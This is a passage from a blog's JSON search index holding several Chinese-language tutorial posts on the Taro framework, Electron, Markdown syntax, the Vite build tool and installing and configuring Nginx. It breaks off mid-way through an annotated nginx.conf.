src={newbbd} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 或者\n\u0026lt;Image src={require('../../img/1.jpg')} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 请求远程端口\nconst testData= ()=\u0026gt;{ Taro.request({ url:'https://xxx.xxx/xxx' }).then(mainData=\u0026gt;{ console.log(mainData.data) }) } url是目标接口，then()是请求完毕获取到的数据\n生命周期与state\nTaro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用\n组件的生命周期\nclass Test extends Component{ constructor (props) { // constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行 super(props) this.state = { data: 'admin' } } componentWillMount (){ console.log('第一次渲染之前执行') // 组件被装载渲染之前执行 } componentDidMount(){ console.log('第一次渲染之后执行') // 组件被装载渲染之后执行 this.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改 } componentWillUnmount(){ console.log('组件被销毁或者被卸载时执行') } componentWillUpdate(){ console.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState } componentDidUpdate(){ console.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发 } shouldComponentUpdate(nextProps, nextState){ // 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true // 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state console.log(nextProps, nextState) return false } componentWillReceiveProps(nextProps){ console.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性 } getSnapshotBeforeUpdate(){ console.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据 } render(){ return( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;hallo word {this.state.data}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } } Taro Props（父子组件通信）\n子组件\nexport default class DataTest extends Component{ render(){ let {data} = this.props return( \u0026lt;View\u0026gt; hallo {data} \u0026lt;/View\u0026gt; ) } } 父组件\nimport DataTest from './datatest' export default class Test extends Component{ constructor (props) { super(props) this.state = { data: 'admin' } } render(){ let {data} = this.state.data return( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt; \u0026lt;DataTest data={data}/\u0026gt; \u0026lt;/View\u0026gt; ) } } props默认值\nDataTest.defaultProps = { data: 'user' } 注意：当props为undefined时，才将读取defaultProps的值作为props\n条件渲染\n三元表达式\n{ true?\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div:\u0026lt;div\u0026gt;hhh\u0026lt;/div\u0026gt; } 短路表达式\n{ !true||\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div\u0026gt; } 列表渲染\nstate = { list: [ {id:1,name:'root'}, {id:2,name:'abc'}, {id:3,name:'test'} ] } ... let {list} = this.state ... { list.map((item, index) =\u0026gt;{ return(\u0026lt;div key={index}\u0026gt;{item.name}\u0026lt;/div\u0026gt;) }) } children传入组件\nexport default class Test extends Component{ render(){ return( \u0026lt;View\u0026gt; { this.props.texts } { this.props.children } \u0026lt;/View\u0026gt; ) } } 调用的时候，直接在父组件使用就可以\nreturn( \u0026lt;View\u0026gt; \u0026lt;Test texts={\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div\u0026gt;}\u0026gt;\u0026lt;/Test\u0026gt; \u0026lt;Test\u0026gt;hallo 123\u0026lt;/Test\u0026gt; \u0026lt;Test\u0026gt;hallo 666\u0026lt;/Test\u0026gt; \u0026lt;/View\u0026gt; ) 注意：不要对this.props.children进行任何操作，taro在小程序实现这个功能是利用了插槽Slot功能，而且this.props.children不能使用defaultProps进行设置默认，也不能拆分成变量进行使用，但是允许通过props自定义属性的方式传入组件\n事件处理\nstate = { name: 'root' } test(){ console.log(this.state.name) } render(){ return( \u0026lt;View\u0026gt; \u0026lt;Button onClick={this.test.bind(this)\u0026gt;\u0026lt;/Button\u0026gt; \u0026lt;/View\u0026gt; ) } taro事件函数有个默认参数，event，它指向该事件的具体，可通过event.stopPagenation()来阻止当前事件的事件冒泡\n注意：taro的全部事件需要用on开头（而且组件传入参数是函数，这个函数也必须是on开头命名的），是为了小程序（因为小程序会认为是字符串），如果不做小程序可以忽略\ntaro判断当前环境是h5还是小程序（只限制开发环境，生产环境是无效的）\nconst ish5 = process.env.TARO_ENV == 'h5' if(ish5){ require('./h5.less') }else{ require('./noh5.less') } 布局推荐使用flex布局\n在taro应用typescript\n为非ts项目安装ts依赖\nnpm install typescript \u0026ndash;save\n还需要配置tsconfig.json\n{ \u0026quot;compilerOptions\u0026quot;: { \u0026quot;target\u0026quot;: \u0026quot;es2017\u0026quot;, \u0026quot;module\u0026quot;: \u0026quot;commonjs\u0026quot;, \u0026quot;removeComments\u0026quot;: false, \u0026quot;preserveConstEnums\u0026quot;: true, \u0026quot;moduleResolution\u0026quot;: \u0026quot;node\u0026quot;, \u0026quot;experimentalDecorators\u0026quot;: true, \u0026quot;jsxFactory\u0026quot;: \u0026quot;Taro.createElement\u0026quot;, \u0026quot;noImplicitAny\u0026quot;: false, \u0026quot;allowSyntheticDefaultImports\u0026quot;: true, \u0026quot;outDir\u0026quot;: \u0026quot;lib\u0026quot;, \u0026quot;noUnusedLocals\u0026quot;: true, \u0026quot;noUnusedParameters\u0026quot;: true, \u0026quot;strictNullChecks\u0026quot;: true, \u0026quot;sourceMap\u0026quot;: true, \u0026quot;baseUrl\u0026quot;: \u0026quot;.\u0026quot;, \u0026quot;rootDir\u0026quot;: \u0026quot;.\u0026quot;, \u0026quot;jsx\u0026quot;: \u0026quot;preserve\u0026quot;, \u0026quot;typeRoots\u0026quot;: [ \u0026quot;node_modules/@types\u0026quot;, \u0026quot;global.d.ts\u0026quot; ] }, \u0026quot;compileOnSave\u0026quot;: false } 如果是新建项目，可以在初始化时指定需要使用typescript\n编译ts文件完成，也是放到dist目录下\n","permalink":"https://chenjunlinabc.github.io/posts/92/","summary":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件","title":"Taro框架学习笔记"},{"content":"Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\n安装Taro脚手架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级脚手架工具\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data 导入\nimport Data from \u0026lsquo;./data.jsx\u0026rsquo;\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;{props.count}\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\npages: [ 'pages/main/main', 'pages/data/data' ], 注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro' import {View , Text ,Button} from '@tarojs/components' function Main(){ const [data,setData] = useState(\u0026quot;hallo\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index'+data}) } return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt; \u0026lt;Button onClick={UrlIndex}\u0026gt;GO\u0026lt;/Button\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro' ... const [data,setData] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; 多参数传递也是可以\nconst [data,setData] = useState(\u0026quot;hallo\u0026quot;) const [name,setName] = useState(\u0026quot;root\u0026quot;) const [pass,setPass] = useState(\u0026quot;123\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index?data='+data+'\u0026amp;name='+name+'\u0026amp;pass='+pass}) } 接收多参数\nconst [data,setData] = useState('') const [name,setName] = useState('') const [pass,setPass] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) setName(this.$router.params.name) setPass(this.$router.params.pass) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{name}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{pass}\u0026lt;/Text\u0026gt; 导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro' import {View , Text ,Button, Image} from '@tarojs/components' import {imgdata,cssdata} from '../../data' // 导入方法（函数） import logo from '../../img/1.jpg' // 导入静态资源 useEffect(()=\u0026gt;{ imgdata() cssdata() },[]) ... \u0026lt;Image src={newbbd} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 或者\n\u0026lt;Image src={require('../../img/1.jpg')} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 请求远程端口\nconst testData= ()=\u0026gt;{ Taro.request({ url:'https://xxx.xxx/xxx' }).then(mainData=\u0026gt;{ console.log(mainData.data) }) } url是目标接口，then()是请求完毕获取到的数据\n","permalink":"https://chenjunlinabc.github.io/posts/92/","summary":"Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\n安装Taro脚手架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级脚手架工具\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data 导入","title":"Taro脚手架学习笔记"},{"content":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=\u0026gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化\nnpm init \u0026ndash;yes\n启动项目\nelectron .\n安装打包应用依赖\nnpm install electron-packager \u0026ndash;save-dev\n修改package.json文件\n\u0026ldquo;packager\u0026rdquo;: \u0026ldquo;electron-packager ./ halloword \u0026ndash;platform=all \u0026ndash;out=./App\u0026rdquo;\n./是项目路径，hallword是项目名字，\u0026ndash;platform=all是构建x86和x64构架，也可以指定win32或者win64\n\u0026ndash;out=./App是打包应用到哪个文件夹中\n启动打包应用\nnpm run-script packager\n加密app文件夹，避免程序暴露\n安装asar\nnpm install asar -g\n在项目中安装\nnpm install asar \u0026ndash;save-dev\n启动加密\nasar pack ./app app.asar\n","permalink":"https://chenjunlinabc.github.io/posts/91/","summary":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=\u0026gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化\nnpm init \u0026ndash;yes","title":"简单利用Electron框架开发桌面端应用"},{"content":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*\n","permalink":"https://chenjunlinabc.github.io/posts/88/","summary":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*","title":"Markdown基础语法笔记"},{"content":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from \u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d 配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy' ... plugins: [ legacy([ targets: ['defaults','no IE 11'] ]) ] ... build: { target: 'es2015' } 浏览器原生ESM导入\nindex.html\n\u0026lt;div id='app'\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type='module' src='app.js'\u0026gt;\u0026lt;/script\u0026gt; app.js\nimport { createApp } from 'vue' import App form './App.vue' import './index.css' createApp(App).mount(\u0026quot;#app\u0026quot;) 浏览器解析index.html的时候，通过\u0026lt;script type=\u0026lsquo;module\u0026rsquo; src=\u0026lsquo;app.js\u0026rsquo;\u0026gt;得到app.js文件，而且声明该文件使用的ESM模块化的机制，然后对app.js导入的模块进行实时编译，实现按需加载\n因为其是利用了原生ESM模块化，因此Vite原生支持css，不需要额外配置，通过插入style元素来实现\nmain.js\nimport './index.css' 使用less或者sass，postcss都很简单，Vite内置了配置，无需配置Vite\n安装less\nyarn add less -d 安装sass\nyarn add sass -d 安装postcss\nyarn add postcss -D postcss是通过插件完成功能的，因此还得根据需要来安装插件（注意：postcss.config.js配置文件导入插件，不需要使用require()导入，而是直接写入字符串）\n使用typescript（vite默认支持typescript，但是只进行ts编译，不会进行校验）\nApp.vue\nimport { test } './index' 让vite支持校验typescript\n安装typescript\nyarn add typescript -d\n修改package.json命令\n\u0026quot;scripts\u0026quot;: { \u0026quot;build\u0026quot;: \u0026quot;tsc --noEmit \u0026amp;\u0026amp; vite build\u0026quot; } 添加tsconfig.json配置\n{ \u0026quot;compilerOptions\u0026quot;: { \u0026quot;target\u0026quot;: \u0026quot;esnext\u0026quot;, \u0026quot;module\u0026quot;: \u0026quot;esnext\u0026quot;, \u0026quot;moduleResolution\u0026quot;: \u0026quot;node\u0026quot;, \u0026quot;strict\u0026quot;: true, \u0026quot;jsx\u0026quot;: \u0026quot;preserve\u0026quot;, \u0026quot;sourceMap\u0026quot;: true, \u0026quot;resolveJsonModule\u0026quot;: true, \u0026quot;esModuleInterop\u0026quot;: true, \u0026quot;lib\u0026quot;: [\u0026quot;esnext\u0026quot;,\u0026quot;dom\u0026quot;], \u0026quot;isolatedModules\u0026quot;: true, }, \u0026quot;include\u0026quot;: [ \u0026quot;src/**/*.ts\u0026quot;, \u0026quot;src/**/*.d.ts\u0026quot;, \u0026quot;src/**/*.tsx\u0026quot;, \u0026quot;src/**/*.vue\u0026quot;, ], } 注意：isolatedModules属性为true时，ts文件中如果不存在import和export时，ts会认定该模块不是ESM模块，设置的原因是Babel在转义阶段，会将ts的类型声明删除，这个时候如果export类型出现，Babel是不知道有这个类型存在的（因为js没有类型），导致前端报错，开启这个功能可以在开发阶段就提示错误（）\n校验.vue文件（vue-tsc）\n安装vue-tsc\nyarn add vue-tsc -d 修改package.json命令\n\u0026quot;scripts\u0026quot;: { \u0026quot;build\u0026quot;: \u0026quot;vue-tsc --noEmit \u0026amp;\u0026amp; tsc --noEmit \u0026amp;\u0026amp; vite build\u0026quot; } vite集成eslint和pritter\n安装依赖\nnpm install eslint-config-standard eslint-plugin-import eslint-plugin-promise eslint-plugin-node -d\n.eslintrc.js，使用standard规则\nmodule.exports = { extends: 'standard', } .pritterrc（搭配vsc插件pritter使用，prettier用来格式化）\n{ 'semi': false, 'singleQuote': true } vsc打开设置，搜索format on save，构选，再搜索formatter，选择prettier插件，保存时将会使用prettier进行代码格式化（让代码符合eslint规则）\nvite的HMR热更新API\nimport.meta可以返回当前模块的信息，需要在模块内部使用，由ECMAScript实现这个功能\n\u0026lt;script type='module'\u0026gt; console.log(import.meta) \u0026lt;/script\u0026gt; 可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展\nvite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：\nif(import.meta.hot){ import.meta.hot.accept((newMod) =\u0026gt;{ newMod.Dom() }) } 原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了\nvite批量导入\nconst mods = import.meta.glob('./src/*') console.log(mods) 可以看到输出了一个键值对，键为文件名，值为该文件的import\nObject.entries(mods).forEach([a,b]) =\u0026gt;{ b().then(mod =\u0026gt; { console.log(mod.default) }) } 预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）\n预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看\n","permalink":"https://chenjunlinabc.github.io/posts/87/","summary":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from \u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d 配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy' .","title":"简单使用Vite-前端构建工具"},{"content":"Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）\nNginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））\nNginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成\nNginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费\nNginx编译安装\nMainline version版本是提供最新的功能，Stable version版本是目前的稳定版本，Legacy versions版本是过去的版本\n下载Nginx\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\n解压Nginx压缩包\ntar -xzf nginx-1.22.0.tar.gz\n其中auto目录有4个子目录（分别为cc（用于编译），lib（lib库），os（操作系统的判断），types（类型判断）），conf目录是Nginx配置目录，html目录是Nginx默认静态文件\nconf目录是Nginx配置文件目录（例如nginx.conf），src目录是Nginx源代码目录\n进入nginx目录然后进行编译\n查看编译时支持的参数\n./configure \u0026ndash;help | more\n使用默认参数编译\n./configure \u0026ndash;prefix=/home/nginx\n编译完成的中间文件存会放在objs文件夹下\nngx_module.c是要编译进Nginx的模块，如果需要安装第三方模块需要在其修改\nmake编译\nmake install安装\n进入/home/nginx，可以看到已经安装完成\n安装\n编译安装\napt install -y gcc gcc-c++ pcre pcre-devel openssl openssl-devel zlib zlib-devel\nwget http://nginx.org/download/nginx-1.22.0.tar.gz\ntar -zxvf nginx-1.18.0.tar.gz\ncd nginx-1.18.0\nmake \u0026amp;\u0026amp;make install\n一键安装（不推荐）\napt install nginx\n检查是否安装完毕\nnginx -v\nnginx配置文件nginx.conf解读，一般在/etc/nginx下\nuser root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.log crit; # 错误日志存储位置 pid /www/server/nginx/logs/nginx.pid; # 进程PID存储位置 events{ worker_connections 51200; # 单个后台进程的最大并发数 multi_accept on; # 一个进程可以同时接受所有的新连接，关闭（off）的话一个进程只能接收一个连接，默认值为off关闭 } http{ include mime.types; # 文件扩展和类型的映射表 default_type application/octet-stream; # 默认文件的类型 server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; gzip on; # 开启gzip压缩 gzip_min_length 1k; # 设置允许压缩的最小的字节数，这里设置1k，就是只有超过1k的文件才会被压缩 gzip_buffers 4 16k; # 以16k为单位，以16k的4倍申请存储gzip压缩的数据流内存 gzip_http_version 1.1; # 只有当http1.1协议版本可以执行gzip压缩 gzip_comp_level 2; # 压缩比 gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; # 设置匹配MIME类型进行压缩，默认text/html是始终被压缩的 gzip_vary on; gzip_proxied expired 